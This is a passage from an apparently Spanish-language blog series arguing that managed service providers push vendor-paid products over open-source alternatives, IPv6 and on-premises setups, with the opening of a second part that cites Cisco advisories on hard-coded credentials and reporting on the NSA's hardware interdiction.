quiere levantarse y la respuesta honesta no está disponible para ella. Echarle la culpa del IPv6 a la red de casa del cliente sí.\nAsí que las dos mitades se juntan. Les pagan por vender un producto, y cada vez más el producto es la única respuesta que tienen. Un cliente que paga por experiencia acaba sin ninguna de las dos.\nNadie escribió lo que necesitabas Pide ver tus requisitos. No la propuesta, no el presupuesto, no el diagrama de arquitectura con tu logo encima. Los requisitos.\nUna captura como es debido es aburrida y no es corta. Qué tiene que hacer el servicio, y para quién. Cuánta gente, desde dónde, sobre qué. Cuál es la hora más cargada y cuál el crecimiento a tres años. Cuánto tiempo puede estar caído antes de que cueste dinero de verdad, y cuántos datos puedes permitirte perder. Qué no debe salir nunca del país, y bajo qué ley. Qué tiene que sobrevivir a un incendio en un edificio. De qué eres contractualmente responsable ante tus propios clientes. Cuál es el presupuesto, capital y funcionamiento, desglosado. Qué posees ya que todavía tiene vida dentro. Quién lo mantiene en marcha después, y qué saben ya hacer funcionar.\nEso es una mañana de trabajo con la gente correcta en la sala — y debería acabar en un documento que firmas antes de que nadie dibuje una sola caja.\nSi nadie te preguntó la mayor parte de eso, no te han dado un diseño. Te han dado la cosa que ya venden, con el nombre de tu empresa en la portada.\nVigila la señal en la otra dirección también. Si el ejercicio de dimensionado pasó en la primera reunión, antes de que nadie mirara cuál es de verdad tu carga, entonces los números vinieron de una plantilla en vez de de tu parque, y un dimensionado de verdad necesita datos. Alguien mirando lo que tu kit está haciendo de verdad ahora, el tiempo suficiente para ver un fin de mes y un cierre de trimestre.\nUna sola opción no es una elección Un diseño es un conjunto de elecciones con el razonamiento adjunto. Lo que significa opciones, y costes en todas ellas, no solo en la que quieren que tomes.\nDeberías tener el no-hacer-nada, con precio, incluyendo lo que te cuesta cuando se rompe. Deberías tener la cosa más barata que cumple los requisitos. Deberías tener la recomendación, y deberías tener la que está sobredimensionada para ti, para que veas dónde está la línea. Cada una con lo que cuesta comprar, lo que cuesta hacer funcionar cinco años, lo que no hace — y lo que tendrías que hacer después si te quedara pequeña.\nY crucialmente, deberías tener la lista de lo que se descartó y por qué. Esa es la parte que muestra que alguien de verdad pensó.\nSi recibiste exactamente una respuesta, y esa respuesta resulta ser el fabricante en el que están certificados y el modelo de licencia que paga mensualmente, no tuviste un diseño. Tuviste un presupuesto con la ropa de un diseño. Nada más.\nLo que la lista corta filtra antes de que la veas siquiera Cuatro respuestas al mismo requisito Código abierto, con contrato de soporte El margen es el propio trabajo de tu proveedor Un proveedor británico más pequeño Sin programa de partners en el que estar Lo que ya posees, configurado Nada que facturar en la renovación El fabricante en el programa de partners Comisión, registro de tratos, objetivo ¿Paga? ¿Está en el programa? Lo que llega a tu mesa Una opción, presupuestada Sin comparación, sin alternativa presupuestada Las otras tres nunca se presupuestaron, así que nunca supiste lo que costaban y su ausencia parece que no había nada que decir El filtro corre antes de que veas nada. Tres respuestas al mismo requisito nunca reciben precio, así que su ausencia se lee como si no hubiera nada que comparar. Hay una pregunta simple que hace salir esto, y la haría en la sala. ¿Qué más consideraste, y cuánto costaba? Alguien que hizo el trabajo tiene los números a mano y hasta disfruta que se lo pregunten. Alguien que no lo hizo te dirá que las alternativas no están soportadas, no son de nivel empresa, o no son algo sobre lo que pondría su nombre. Ninguna de esas es un número.\nEl código abierto nunca entra en la lista No es que lo odien. No hay margen en él, ni descuento contra él, ni certificación que vender ni objetivo trimestral que mueva.\nLa objeción es siempre la misma, y es la única afirmación de este artículo que es lisa y llanamente falsa — «no está soportado». Todo está soportado, comercialmente, con un contrato y un SLA y alguien a quien llamar — Proxmox vende suscripciones por socket, y Red Hat, SUSE y Canonical venden soporte para la pila. Estás eligiendo quién lo soporta en vez de eligiendo si está soportado en absoluto. Lo que dejas de pagar es el derecho a usar software que ya tienes.\nLuego está el kit que ya está en el suelo. Se pasa por alto del todo. En mi último empleo construí un cloud privado a partir de nodos de HPC dados de baja — Proxmox, Ceph y una cadena completa de Ansible por encima — y acabé con 7 servidores, 480 núcleos, 15 TiB de RAM y 1,8 PiB de almacenamiento, sin presupuesto y con tres personas. Un MSP cotizando ese mismo requisito habría presupuestado hardware nuevo y una suscripción — no hay nada para ellos en kit que ya compraste y pagaste.\nLa otra mitad de esto es el kit que ya está posado en tu suelo, y es la mitad que nunca se cotiza en absoluto. Un servidor no deja de funcionar el día en que su contrato de soporte expira. «Fin de soporte» es una fecha que el fabricante eligió, no una medición que nadie tomó del hardware, y una caja con cinco buenos años dentro vale más para ti que para cualquiera que venda su reemplazo. El código abierto es lo que te deja seguir usándolo, porque la licencia no se preocupa por la edad de la CPU ni de si la marca de delante sigue en garantía.\nEse es el trozo que no paga a nadie. No hay descuento sobre hardware que ya posees, ni crédito de escalón por una máquina que se queda donde está, ni renovación sobre una licencia que nadie tuvo que comprar. Como tal no se propone, y la frase a la que se echa mano en su lugar es «fin de vida», que suena a ingeniería y es una fecha de venta.\nPide que la opción de código abierto se cotice como es debido, soporte incluido, junto a las demás — y pide la versión que reutiliza lo que tienes, con precio contra la versión que no. No para que te disuadan de la comercial. Para ver el hueco, para que la decisión sea tuya.\nQué aspecto tiene de verdad la alternativa Hay una respuesta de código abierto soportada para casi todo lo de una propuesta, y vale la pena empezar por la parte que más te cuesta, porque nunca son los servidores.\nEl software por puesto. Aquí es donde está el dinero recurrente, y donde nunca se menciona una alternativa. Suite ofimática: LibreOffice, ONLYOFFICE, o Collabora Online, que vende despliegues soportados y te da la edición en el navegador que la gente cree que solo viene de un sitio. Correo, calendarios y contactos compartidos: grommunio habla MAPI, así que Outlook se conecta a él como lo haría a Exchange, y se vende con soporte; SOGo y mailcow cubren el mismo terreno de otra manera. Ficheros, compartición y lo que la gente de verdad usa un disco de cloud para: Nextcloud, con un contrato de empresa detrás. Chat y reuniones, que es la mitad de Teams: Mattermost y Rocket.Chat son lo más parecido, ambos autoalojables con soporte que comprar, y Zulip es de licencia Apache y gestiona los hilos como es debido. Matrix con Element, Nextcloud Talk y Jitsi cubren el resto. Y la mitad de SharePoint — intranet, bibliotecas de documentos, sitios de equipo — es XWiki, BookStack, OpenProject, Seafile y Nextcloud entre ellos.\nLas aplicaciones de negocio. ERP: Odoo Community, ERPNext, Dolibarr. CRM: SuiteCRM, cuya empresa detrás vende soporte, o EspoCRM. Contabilidad: GnuCash, o el libro mayor integrado en Dolibarr y ERPNext. Gestión documental: Paperless-ngx. Informes: Metabase. Mesa de servicio y seguimiento de activos, que tu MSP te cobra como un producto: GLPI y Zammad.\nIdentidad y secretos, de lo que todo lo demás cuelga. Keycloak, FreeIPA, o Samba como controlador de dominio. Para las contraseñas, Bitwarden se puede autoalojar, Vaultwarden es un servidor AGPL ligero que habla con los mismos clientes, y Passbolt y KeePassXC cubren el mismo trabajo de otra manera. Esto es una línea mensual por usuario en la mayoría de las propuestas.\nGestión de dispositivos, que es la línea de Intune en tu factura. Fleet hace el inventario, la política y el enrolamiento a través de las plataformas que un parque de verdad contiene, construido sobre osquery. MicroMDM maneja el enrolamiento de Apple, Headwind maneja Android, y Ansible, Puppet o Salt hacen la configuración debajo de cualquiera de ellos. Para la mitad de acceso remoto — la cosa de la que una sección posterior de este artículo va entera — MeshCentral es de licencia Apache y RustDesk es AGPL, y ambos corren en un servidor que posees. Lo que significa que la respuesta a «qué herramienta remota está en mis máquinas, y quién puede iniciar sesión en la consola» puede ser una que alojas y parcheas tú mismo, en vez de una de la que te enteras después.\nY la propia actualización ya no es el arte oscuro que se vende. Incluso en el SO Fisher-Price (Windows), las actualizaciones de aplicaciones pasan ahora por winget, que es de licencia MIT, contra un repositorio de manifiestos comunitario bajo la misma licencia; Chocolatey y Scoop llevan haciendo el mismo trabajo más tiempo, y cada Unix lo ha tenido desde los años noventa. Así que cuando la gestión de parches se presenta en una propuesta como una línea gestionada premium, mira qué se está vendiendo de verdad. El mecanismo es gratis y lo entrega el fabricante de la plataforma, y montarlo es una tarde. Después de eso es una tarea programada. Una entrada de cron, o como la llame la consola, corriendo en una máquina que ya estaba ahí. Estás pagando una cuota mensual por un trabajo que se hace solo.\nLa respuesta a eso se supone que es que pagas a alguien para vigilar el resultado y actuar cuando falla, y eso valdría el dinero. Así que mira la prueba de la vigilancia. En Capita la alerta se levantó en diez minutos y se trató casi tres días después, contra un objetivo de una hora, por un equipo que el regulador encontró en infradotación. Ahí fuera en internet hay cortafuegos que todavía llevan vulnerabilidades que entraron en el catálogo de explotadas años después de que un parche se entregara. La vigilancia es la parte que justificaría la factura, y es la parte con menos prueba de que ocurre.\nEl sistema telefónico, que es una de las líneas mensuales por extensión más viejas que hay. Asterisk lleva veinticinco años haciendo esto, FreePBX le pone una interfaz web por encima, FreeSWITCH es el otro motor, y Kamailio y OpenSIPS manejan el enrutamiento SIP a escala de operador. Si lo quieres empaquetado en vez de ensamblado, Wazo, FusionPBX e Issabel lo entregan todos construido.\nVale también recordar qué le pasó al propietario que la mayoría de los proveedores proponen. En marzo de 2023 la CISA publicó una alerta afirmando que «3CXDesktopApp — a voice and video conferencing app — was trojanized, potentially leading to multi-staged attacks against users employing the vulnerable app» — 3CXDesktopApp, una app de conferencia de voz y vídeo, fue troyanizada, llevando potencialmente a ataques de varias etapas contra los usuarios de la app vulnerable. Nadie tuvo que encontrar una vulnerabilidad y explotarla. Llegó como la propia aplicación firmada del fabricante por el propio canal de actualización del fabricante, sobre cada mesa donde un partner la había desplegado.\nAdobe, que es una suscripción por puesto como todo lo demás. La mayoría de las empresas no pagan por una suite creativa en absoluto. Pagan por Acrobat y por las firmas. Stirling PDF es un juego de herramientas autoalojado que hace la fusión, la división, el tachado, el OCR y el relleno de formularios para los que se compra Acrobat Pro, y Okular o LibreOffice Draw cubren el resto. Para firmar, Documenso y DocuSeal son ambos AGPL y ambos autoalojables — y un cargo por sobre para firmar un documento es más o menos el ejemplo más limpio que tiene este artículo de medir a coste algo que tu propio servidor haría por nada. Donde de verdad hay un equipo de diseño: GIMP y Krita para imágenes, Inkscape para vectorial, Scribus para maquetación, darktable y RawTherapee para fotografía, Kdenlive para vídeo, Blender para 3D y composición, Audacity y Ardour para audio.\nEl vídeo, que vale un párrafo propio. Las cámaras se venden como un producto gestionado con una licencia por canal y un grabador dentro del que no tienes permitido entrar. Frigate es de licencia MIT y hace la detección de objetos localmente en hardware que posees; ZoneMinder lleva veinte años siendo GPL. Para conferencia, Jitsi y BigBlueButton. Y recuerda qué producto era el que Cisco pagó 8,6 millones de dólares y otros 6 millones para zanjar, un par de secciones más abajo de aquí. Software de videovigilancia, vendido a organismos públicos. La pila de cámaras premium no viene con la seguridad adjunta.\nAlmacenamiento y sistemas de ficheros, y fíjate en que nadie te ofrece nunca una elección aquí en absoluto. OpenZFS para almacenamiento con sumas de control con instantáneas y envío/recepción, Btrfs, XFS, CephFS. El sistema de ficheros bajo tus datos es una decisión de ingeniería con consecuencias reales sobre cuánto recuperas de ellos tras un mal día, y suele llegar bajo la forma de lo que el appliance vino con.\nLa infraestructura, la última, porque es la parte más barata de la factura. Hipervisor y clúster: Proxmox VE. Almacenamiento: Ceph, que correrá tan contento en los discos que ya posees en vez de en una cabina nueva. Cortafuegos y enrutamiento: nftables, OPNsense. VPN: WireGuard o strongSwan. Para el mesh overlay que todo el mundo vende ahora, vale la pena poner la imagen en claro. Los clientes de Tailscale son de código abierto y su propio servidor de coordinación alojado no lo es — la empresa declara que «remains proprietary as part of our managed service» — sigue siendo propietario como parte de nuestro servicio gestionado. Pero hay un servidor de coordinación abierto, y es uno serio: Headscale es de licencia BSD, «an open source, self-hosted implementation of the Tailscale control server» — una implementación de código abierto, autoalojada, del servidor de control de Tailscale —, y Tailscale emplea a su mantenedor jefe mientras dice que «does not set Headscale\u0026rsquo;s product direction» — no fija la dirección de producto de Headscale. Así que el conjunto puede correr en tu propio hardware. NetBird y Nebula son las otras rutas. Balanceo de carga: HAProxy y keepalived. Monitorización: Prometheus, Grafana, Zabbix. Copias: Proxmox Backup Server, Bareos, restic. Gestión de configuración: Ansible. Y para el trabajo de integración cotizado o como desarrollo a medida o como suscripción de automatización de cloud por ejecución, Node-RED es de licencia Apache, corre en una caja que posees, y no te factura por ejecución.\nTres sitios donde no voy a fingir que el cambio es limpio. Primero, Teams y SharePoint. El destino no es el problema, digan lo que digan — los productos de arriba son maduros y las empresas funcionan sobre ellos. La migración es el problema: años de sitios acumulados, una herencia de permisos que nadie documentó nunca, flujos de Power Automate que alguien construyó y luego se marchó, y un comportamiento de coedición que el personal espera sin poder nombrarlo. Eso es trabajo de verdad, y debería cotizarse como trabajo de verdad en vez de descartarse en cualquiera de las dos direcciones. Aunque fíjate también en lo que dejas de cargar. Esos flujos y esos sitios son procesos de negocio corriendo en el centro de datos de otro, sobre una plataforma que no puedes reiniciar. Cuando se paran, no los arreglas. Esperas, y le dices a tus propios clientes que estás esperando. Y la contabilidad británica tiene un borde duro: el IVA tiene que declararse a través de software que el HMRC reconozca, y el HMRC publica la lista. Las rutas de código abierto hacia Making Tax Digital existen — GnuCash tiene un puente comunitario, ERPNext tiene un módulo de IVA británico — pero las mantiene la comunidad en vez de ser un producto con un contrato de soporte detrás. Esa es una limitación real y pertenece a la comparación. Tercero, una agencia de diseño que funciona vive o muere por el intercambio de ficheros, y clientes que te envían un .psd y esperan uno de vuelta son un problema real en vez de una cuestión de principio. Para todos los demás, que necesitan rellenar un PDF y hacerlo firmar, no hay ningún cambio que hacer en absoluto. Es solo dejar de pagar.\nPor qué nunca se vende el mejor negocio Entonces, ¿por qué no se ofrece nada de ello? Porque sería un mejor negocio para ellos, no peor, lo que hace el rechazo más interesante en vez de menos.\nHay dos maneras de ganar dinero con un cliente. Revende una licencia, y el margen lo fija otro, lo topa él, lo revaloriza él en la renovación, y se paga hicieras algún trabajo ese mes o no. Despliega y haz funcionar una pila abierta, y el margen es tu propio trabajo a tu propia tarifa, sin nadie que se lleve una parte por el camino y sin fabricante capaz de cambiar el número el abril que viene. La segunda vale más por cliente, y construye algo. Un ingeniero que sabe hacer funcionar Ceph, o levantar un servidor de correo al que Outlook habla, vale más el año que viene que este año. Alguien que solo ha pilotado una consola vale exactamente lo mismo el año que viene, y solo mientras esa consola exista.\nEs también más difícil, y eso es todo. Tiene que ganarse de nuevo cada mes. Necesita ingenieros en vez de administradores, y los ingenieros son caros, tardan años en crecer, y pueden marcharse y montárselo por su cuenta. Una licencia no se marcha nunca.\nEso es un compromiso, y el compromiso es la cosa que se evita. Revender no le pide nada a nadie. Elige un fabricante este año, elige otro distinto el año que viene, y cuando se cae nunca fue tu diseño de todos modos. Hacer funcionar la pila tú mismo significa elegirla, aprenderla como es debido, y ponerte detrás de ella delante de un cliente a las dos de la mañana. Una de esas necesita que sepas algo. La otra necesita un login de portal.\nTambién rompe la aritmética sobre la que corre el modelo. Un servicio gestionado tiene precio sobre la palanca — tantos clientes como sea posible por ingeniero, personal junior bajando por runbooks, escalado solo cuando el runbook se agota. Eso funciona porque el trabajo se ha reducido a pasos. Mete una pila que alguien tiene que entender de verdad y el ratio se derrumba, la masa salarial trepa, y la empresa se encuentra dependiendo de gente que podría marcharse y llevarse clientes con ella.\nAsí que la pregunta bajo la lista nunca fue qué producto es mejor. Es si una empresa está dispuesta a ser del tipo que emplea a gente que sabe cosas.\nQue es donde la cifra de formación de antes vuelve a la vuelta. Un sector que ha cortado su gasto en competencias un 30 % en dos años no puede vender competencia, así que vende licencias. Vender licencias significa que nunca tiene que adquirir la competencia, así que la formación se queda cortada, y el año que viene hay aún menos que ofrecer. Eso es un bucle, y solo gira en un sentido.\nEl resto es incentivo, y ya lo hemos repasado. El fabricante paga un descuento sobre la licencia y nada en absoluto sobre el trabajo. Al vendedor se le compensa sobre el producto. Y cuando un hyperscaler tiene una caída es culpa del hyperscaler, mientras que un clúster que construiste tú mismo es tuyo — así que revender le compra a alguien un sitio donde poner la culpa. Eso vale dinero de verdad para una empresa que preferiría no ser responsable.\nNada de eso lo hace la respuesta correcta para ti. Solo explica por qué la comparación nunca se escribe.\nEl impuesto de IPv4 Este es el ejemplo más limpio de todo el artículo, porque puedes ponerle un precio a los dos lados.\nTe construirán un servicio solo IPv4. Luego te venderán las direcciones públicas que necesitas para alcanzarlo, por dirección, por mes, para siempre. Pide otra y hay un formulario, una justificación y una línea en la renovación.\nMientras tanto IPv6 no cuesta nada más. La asignación viene con la membresía del registro que ya pagas, y el esquema de tarifas 2026 de RIPE es una tarifa plana de 1 800 € por cuenta LIR poseas lo que poseas. El RIPE-690 dice que un sitio terminal obtiene un /48 o un /56. No hay contador por dirección en el lado v6. No hay nada que contar.\nLos números del otro lado son públicos también. AWS cobra $0,005 la hora por cada dirección IPv4 pública, adjunta o no, lo que hace unos $43,80 al año cada una. En el mercado de transferencia el precio medio en el primer semestre de 2026 fue de $20,04 por dirección, con la tarifa de alquiler corriente de unos $0,59 por dirección al mes. Así que una dirección vale más o menos veinte dólares a la compra en firme, y se alquila al por mayor por unos siete al año — y se te revende como un recurso escaso. Una línea mensual en tu factura y un formulario que rellenar cuando quieres otra.\nLa escasez es real. La razón por la que sigues pagando por ella no lo es. Doblar la pila de un servicio es una tarde de trabajo, y convierte un cargo recurrente en una petición de cambio puntual, que es precisamente por lo que nunca se propone.\nSi quieres la imagen completa de quién en este país se ha molestado de verdad, los conté todos: Nunca nos quedamos sin direcciones. Nos quedamos sin esfuerzo.\nNube por defecto, cuando todo lo que tienes está en el sitio Piensa en dónde pasa el trabajo de verdad. Un sitio de fabricación. Un taller de coches. Una empresa de catering.\nCada usuario está en el edificio. Cada bit de dato se hace en el edificio — las máquinas, las cajas, las fichas de trabajo, el stock, el CAD, los programas de CNC, los pedidos llegando por el mostrador. Todo lo que consume esos datos está en el edificio también. Sin segundo sitio, sin fuerza de campo, sin clientes golpeando una fachada web, y sin un mes donde la carga se duplique.\nPon la aplicación en el centro de datos de otro y cada uno de esos bytes ahora abandona el local y vuelve derecho. Los mismos usuarios. Los mismos datos. El mismo procesamiento. Más una WAN en el medio, una factura mensual, y una dependencia de una línea que no posees.\nNada en lo que el cloud es de verdad bueno aplica aquí. La escala elástica es para una carga que se mueve, y un taller corriendo dos turnos no se mueve. El alcance mundial es para usuarios que están en otro sitio, y los tuyos están de pie en la máquina. El edificio de otro es una respuesta real para la recuperación ante desastres, pero la recuperación ante desastres es un destino de copia, no el sitio desde donde haces funcionar la línea.\nLo que sí te compra es una nueva manera de pararte. En local una línea de banda ancha muerta es una molestia, y el trabajo sigue hasta que alguien la arregla. En el cloud es una parada — la línea se cae, el taller no puede sacar una ficha de trabajo, la cocina no puede tomar un pedido, la producción se queda ahí plantada, y estás esperando al ingeniero de otro contra un SLA que nunca negociaste.\nA dónde va el trabajo de verdad, una vez que la aplicación sale del edificio En local Tu edificio Las personas De pie ante la máquina Los datos Hechos aquí, todos La aplicación También aquí Nada sale del local. Una línea de banda ancha muerta es un inconveniente, y el trabajo sigue hasta que alguien la arregla. La nube por defecto, y la ruta que de verdad toma Tu edificio Las mismas personas, los mismos datos La central donde tu línea aterriza El núcleo de tu ISP y de quien sea que le compran tránsito Un punto de peering o la red de borde del proveedor El centro de datos La aplicación vive aquí ahora Tres edificios que no posees, no puedes llamar, y nunca elegiste y cada byte hace el viaje de vuelta también, por cada guardado y cada consulta Una línea muerta es ahora una parada. El taller no puede sacar un trabajo, la cocina no puede tomar un pedido, la producción se para, y estás esperando al ingeniero de otro contra un SLA que nunca negociaste. Los mismos usuarios, los mismos datos, el mismo procesamiento. La diferencia son cuatro redes de otra gente en el medio, ninguna de las cuales puedes llamar cuando se para. Y tu banda ancha es solo la mitad de ello. La otra mitad es la suya, y también se cae. El propio resumen posterior al evento de AWS para octubre de 2025 describe una interrupción en su región primaria de Northern Virginia corriendo de las 23:48 del 19 de octubre a las 14:20 del 20 de octubre — la mayor parte de quince horas — donde los clientes y otros servicios de AWS «were unable to establish new connections» — eran incapaces de establecer nuevas conexiones. La causa, según sus palabras, era «a latent defect within the service\u0026rsquo;s automated DNS management system» — un defecto latente dentro del sistema automatizado de gestión de DNS del servicio. Nueve días después Azure Front Door se llevó Microsoft 365, Outlook y el portal de Azure con él la mayor parte de un día laborable. Microsoft mantiene un historial corriente de estos, y no es un documento corto.\nEl tiempo de caída no es todo tampoco. La otra cosa vendida en el frente de la propuesta era la capacidad bajo demanda, y tiene un modo de fallo documentado propio. Microsoft publica una página titulada «Troubleshooting Azure VM allocation failures» — resolución de fallos de asignación de VM de Azure. AWS publica «How do I troubleshoot InsufficientInstanceCapacity errors when I start or launch an EC2 instance?» — cómo resuelvo los errores InsufficientInstanceCapacity al arrancar o lanzar una instancia EC2. Relee esos títulos. Ambos fabricantes mantienen documentación permanente para el caso en que pides una máquina y no hay ninguna — sin fallo, sin caída, solo nada libre en esa región hoy. Encima de eso se sientan las cuotas, fijadas por suscripción, que es una segunda manera de que te digan que no.\nAsí que la escala elástica de la propuesta lleva una salvedad que la propuesta no. Elástica dentro de lo que esté libre, en esa región, el día en que pides. Y los proveedores siguen fichando clientes en regiones restringidas igualmente, porque una firma cuenta este trimestre y una comprobación de capacidad no. Te enteras en el despliegue, que es el peor momento disponible — después de que la migración está comprometida, después de que el kit en local se ha ido, y después de que el repliegue se desmanteló para pagar la mudanza.\nLee lo que todo eso significa para el taller y la cocina. En tu propio kit, una caída es alguien a quien puedes llamar, o una máquina a la que alguien puede acercarse a reiniciar. En el cloud de otro no hay palanca alguna. No puedes escalarla, no puedes priorizar tu propia recuperación, y el proveedor al que pagas tampoco puede. Está refrescando la misma página de estado que todo el mundo. Lo que compraste como resiliencia resulta ser una dependencia que compartes con varios millones de otros clientes, y el día en que falla tu posición es la misma que la suya.\nEntonces, ¿por qué es siempre la recomendación? Porque una compra de capital paga a tu MSP una vez. Una suscripción les paga cada mes, a un porcentaje, con un crédito del fabricante encima. Migrarte también mueve el hardware fuera de su plato, que es la parte del servicio que encuentran más difícil de dotar de personal. Tres razones apuntando en el mismo sentido, ninguna la tuya.\nLuego está dónde acaban tus datos. Bajo el 18 U.S.C. § 2713, añadido por el CLOUD Act, un proveedor americano debe producir los datos en su «possession, custody, or control» — posesión, custodia o control — cuando se le requiere como es debido, «regardless of whether such communication, record, or other information is located within or outside of the United States» — con independencia de si esa comunicación, registro u otra información está situada dentro o fuera de los Estados Unidos. Así que «está en la región del Reino Unido» es una respuesta verdadera a una pregunta que no hiciste. La región te dice dónde está el disco. La ley sigue a quién posee la empresa.\nNadie te puso eso como una decisión. Llegó como una suposición, dentro de una propuesta, escrita por alguien a quien pagan más cuando dices que sí.\nHe escrito largo y tendido sobre esa dependencia en lo que cuesta alquilar tu tecnología.\nTodo eso pasó antes de construir nada Fíjate en cuándo tiene lugar, el conjunto. Antes de que una máquina se monte en un rack, antes de que nadie haya iniciado sesión en nada, en reuniones y en hojas de cálculo en las que en su mayoría no estabas. El descuento, los requisitos que nadie capturó, la opción única, la línea de código abierto que falta, las direcciones que ahora alquilarás por la vida del contrato, el centro de datos que nadie en el edificio necesitaba — nada de ello es técnico, y todo se resuelve en la primera quincena.\nQue es por lo que vale tu atención aunque nunca hayas abierto un switch. Es también por lo que es tan difícil de deshacer después. Todo lo de aguas abajo hereda esa quincena. El parque se construye como la lista dijo que se construiría. Las herramientas se presentan porque son lo que el proveedor ya posee y ya sabe. Las claves acaban donde sea que su proceso las ponga. Y el contrato firmado al final decide, años por adelantado, quién carga la pérdida la mañana en que algo se para.\nAsí que la parte dos va de lo que de verdad se construyó: la caja de la que no se les disuadirá, el kit de perímetro con el peor historial de la lista de explotadas, las bases que eran la cosa que compraste, y las herramientas que alcanzan cada máquina que posees desde una consola que nunca has visto. Dos de los fallos que hay dentro tienen una conclusión de un regulador adjunta. Ninguno le pasó a un cliente. Le pasaron a un proveedor, y los clientes estaban aguas abajo.\nIs Your MSP Lying To You — 3 parts\n¿Tu MSP te miente para venderte productos premium?you are here Lo que tu MSP te construyó, y quién más puede alcanzarlo Cuando se rompe, ¿quién lo carga de verdad? Fuentes Consultadas el 28 de agosto de 2026.\nCómo funciona el dinero.\nDocumentación de facturación del Microsoft Partner Center — partner earned credit aplicado contra los cargos del consumo de Azure del cliente. FCA Handbook, COBS 6.1A — facturación de la asesoría: la regla de que una empresa solo puede ser pagada por una recomendación por el cliente, y no debe aceptar comisión del proveedor del producto. Investigación de mercado de la CMA sobre los servicios cloud — el trabajo del regulador de la competencia británico sobre el mercado del cloud. Direcciones.\nEsquema de tarifas de RIPE NCC 2026 — 1 800 € por cuenta LIR, tarifa plana. RIPE-690 — /48 o /56 a un sitio terminal, octubre de 2017. Cargo de IPv4 pública de AWS — $0,005 por dirección por hora, desde febrero de 2024. Mercado de transferencia de IPv4, primer semestre de 2026 — media de $20,04 por dirección, tarifa de alquiler de unos $0,59 por dirección al mes, resumiendo el análisis de CircleID de las transacciones a precio público. El VPN.\nGuía de resolución de problemas de AnyConnect de Cisco Meraki — TLS y DTLS en 443, sin problema de NAT que resolver. RFC 3947 y RFC 3948 — travesía del NAT para IPsec, y el paso a UDP 4500. Soporte que de verdad puedes comprar.\nSuscripciones de Proxmox VE — un ejemplo de soporte comercial para infraestructura de código abierto. Formación y competencias.\nLearning and Work Institute, 24 de diciembre de 2025 — inversión de los empleadores en formación en baja del 36 % por empleado en términos reales desde 2005, y del 30 % en información y comunicaciones entre 2022 y 2024, sobre la Employer Skills Survey 2024. National Vulnerability Database — número de CVE publicadas por año, sumado por trimestre: 6 595 en 2015 contra 49 972 en 2025. Cyber Security Breaches Survey 2025/2026 — autenticación de dos factores en el 47 % de las empresas, políticas formales en baja al 52 %, planes de continuidad que cubren el cyber en baja al 44 %. Alerta de CISA, 30 de marzo de 2023 — la aplicación de escritorio 3CX troyanizada. Derecho y política.\nDecreto, 10 de febrero de 2025 — suspensión de la aplicación del Foreign Corrupt Practices Act, en las propias palabras de la administración. Just Security, sobre el año que siguió — las directrices de junio de 2025, la unidad de la FCPA disuelta de la SEC, y las investigaciones cerradas. Bribery Act 2010 y artículo 7 — la ley británica, y el delito corporativo de no prevención. Airbus, 31 de enero de 2020 — el propio relato de la empresa del acuerdo tripartito y de cómo las penalizaciones se repartieron entre el PNF, el SFO, el DoJ y el DoS. Jurisdicción.\n18 U.S.C. § 2713 — la disposición del CLOUD Act: divulgación con independencia de dónde estén almacenados los datos. Cuando la plataforma se para.\nResumen posterior al evento de AWS, octubre de 2025 — la interrupción de DynamoDB y DNS en us-east-1, en las propias palabras de Amazon. Historial de estado de Azure — el propio registro corriente de Microsoft de sus incidentes. ","permalink":"https://blogs.damiendye.uk/es/random/is-your-msp-lying-to-you-part1/","summary":"Parte 1 de 3. Algunos mienten. La mayoría nunca lo necesita, porque les paga el fabricante cuyo producto están recomendando y nadie está obligado a decírtelo. Las señales que dicen que te están vendiendo en vez de diseñando para ti, y lo que nunca llega a la lista.","title":"¿Tu MSP te miente para venderte productos premium?"},{"content":" Is Your MSP Lying To You — 3 parts\n¿Tu MSP te miente para venderte productos premium? Lo que tu MSP te construyó, y quién más puede alcanzarloyou are here Cuando se rompe, ¿quién lo carga de verdad? La parte uno fue la venta. Esto es el parque.\nEl papeleo está firmado, la factura corre cada mes, y hay material. Parte tuyo, parte suyo, la mayoría elegido antes de que nadie preguntara qué hace de verdad la empresa entre las ocho y las seis. Lo que sigue es el material en sí: qué se elige, qué se quedó encendido dentro, y quién más puede alcanzar las máquinas que pagaste desde una consola en la que nunca has iniciado sesión.\nDos de los fallos de aquí llevan una conclusión de un regulador con una cifra pegada. Ninguno le pasó a un cliente — le pasaron a un proveedor, y los clientes estaban aguas abajo. Cada afirmación lleva un enlace.\nLa caja de la que no se les disuadirá Ahora la incómoda. Quiero hacerla con pruebas en vez de con aseveraciones, porque es la sección donde la gente echa mano de la palabra conspiración — y echar mano de esa palabra es como el tema se deja caer sin que nadie tenga que mirarlo.\nCisco es la recomendación por defecto en la mayor parte de esta industria. Así que mira lo que el propio fabricante ha publicado sobre acceso sin documentar a su propio material.\nEn marzo de 2018 publicaron un aviso para CVE-2018-0141: se podía iniciar sesión en Prime Collaboration Provisioning por SSH a causa de «a hard-coded account password on the system» — una contraseña de cuenta codificada en duro en el sistema. Ocho meses después, CVE-2018-15439 en los switches Small Business, donde «the affected software enables a privileged user account without notifying administrators of the system» — el software afectado habilita una cuenta de usuario privilegiada sin notificar a los administradores del sistema —, sin software corregido disponible al publicarse y un apaño ofrecido en su lugar. En octubre de 2023, CVE-2023-20101: Emergency Responder se entregaba con una cuenta root que portaba «default, static credentials that cannot be changed or deleted» — credenciales estáticas por defecto que no se pueden cambiar ni borrar —, credenciales «typically reserved for use during development» — habitualmente reservadas para uso durante el desarrollo.\nUna cuenta de la que nadie fue avisado, que no puedes quitar, con root en una caja de tu parque. Llámalo como quieras. Es lo que describe el propio aviso del fabricante.\nLuego está el material de Snowden, que ya tiene más de una década y nunca se ha retirado. En diciembre de 2013 Der Spiegel publicó el catálogo ANT, informando de que una división de la NSA «has burrowed its way into nearly all the security architecture made by the major players in the industry \u0026ndash; including American global market leader Cisco and its Chinese competitor Huawei» — se ha abierto camino excavando en casi toda la arquitectura de seguridad hecha por los grandes actores de la industria, incluido el líder mundial estadounidense Cisco y su competidor chino Huawei. El mismo reportaje describía cómo el material llega ahí: envíos desviados a talleres secretos en un proceso que la NSA llama interdicción, donde «at these so-called \u0026rsquo;load stations,\u0026rsquo; agents carefully open the package in order to load malware onto the electronics, or even install hardware components that can provide backdoor access» — en estas llamadas «estaciones de carga», los agentes abren con cuidado el paquete para cargar malware en la electrónica, o incluso instalar componentes de hardware que pueden dar acceso por puerta trasera. Un boletín interno de la NSA de 2010, publicado en 2014 con las fotografías, exponía el proceso con las propias palabras de la agencia: dispositivos «being delivered to our targets throughout the world are intercepted» — que se entregan a nuestros objetivos por todo el mundo son interceptados —, luego «re-packaged and placed back into transit to the original 